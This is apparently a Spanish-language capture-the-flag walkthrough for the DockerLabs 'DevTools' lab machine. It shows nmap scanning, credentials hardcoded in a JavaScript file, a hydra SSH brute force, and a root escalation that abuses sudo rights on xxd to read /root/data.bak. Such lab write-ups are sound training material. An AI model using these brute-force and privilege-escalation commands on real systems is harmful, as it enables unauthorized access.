DevTools DockerLabs (intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip devtools.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh devtools.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 11:48 EST
Nmap scan report for asucar.dl (172.17.0.2)
Host is up (0.000032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 4d:ea:92:ba:53:e3:b8:dc:71:95:50:19:87:6b:b2:6d (ECDSA)
|_ 256 fa:77:68:76:dc:8e:b1:cd:56:5f:c1:79:89:ad:fa:78 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: \xC2\xBFQu\xC3\xA9 son las DevTools del Navegador?
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
Si entramos en la pagina nos pedira usuario y contraseña de la pagina, por lo que en algun lugar tendra que haber las credenciales en algun js
, si inspeccionamos la pagina, veremos la siguiente linea:
<script src="backupp.js" defer></script>
Si entramos en ese archivo, veremos lo siguiente:
const usuario = "chocolate";
const contrasena = "chocolate"; // Antigua contraseña baluleroh
const solicitarAutenticacion = () => {
const credenciales = prompt("Ingrese las credenciales en el formato usuario:contraseña:");
if (credenciales) {
const [entradaUsuario, entradaContrasena] = credenciales.split(":");
if (entradaUsuario === usuario && entradaContrasena === contrasena) {
alert("Autenticación exitosa. ¡Bienvenido!");
} else {
alert("Autenticación fallida. Inténtelo de nuevo.");
solicitarAutenticacion(); // Reintentar autenticación
}
} else {
alert("Debe ingresar las credenciales.");
solicitarAutenticacion();
}
};
solicitarAutenticacion();
Veremos un comentario de que su antigua contraseña era baluleroh
, por lo que para descartar posibles credenciales, pondremos como usuario y contraseña:
User: chocolate
Pass: chocolate
Por ssh
de la siguiente forma:
ssh chocolate@<IP>
Metemos como contraseña chocolate
, pero vemos que no nos funciona, si probamos la antigua contraseña baluleroh
tampoco nos deja, por lo que tendremos que descubrir que usuario le pertenece dicha contraseña baluleroh
:
Escalate user carlos
hydra -L <WORDLIST> -p baluleroh ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-16 12:17:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 8295455 login tries (l:8295455/p:1), ~129617 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlos password: baluleroh
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Sacamos las credenciales del usuario carlos
, por lo que nos conectamos por ssh
:
ssh carlos@<IP>
Metemos la contraseña baluleroh
y ya estariamos dentro.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for carlos on fb5c64da956d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User carlos may run the following commands on fb5c64da956d:
(ALL) NOPASSWD: /usr/bin/ping
(ALL) NOPASSWD: /usr/bin/xxd
Y si leemos el archivo llamado nota.txt
que esta en la home
de nuestro usuario, veremos lo siguiente:
Backup en data.bak dentro del directorio de root
Por lo que podremos hacer lo siguiente como root
para poder leer ese archivo:
LFILE=/root/data.bak
sudo xxd "$LFILE" | xxd -r
Info:
root:balulerito
Por lo que ya tendremos las credenciales de root
solo tendremos que hacer lo siguiente:
su root
Metemos la contraseña balulerito
y seremos root
, por lo que ya habremos terminado.
Last updated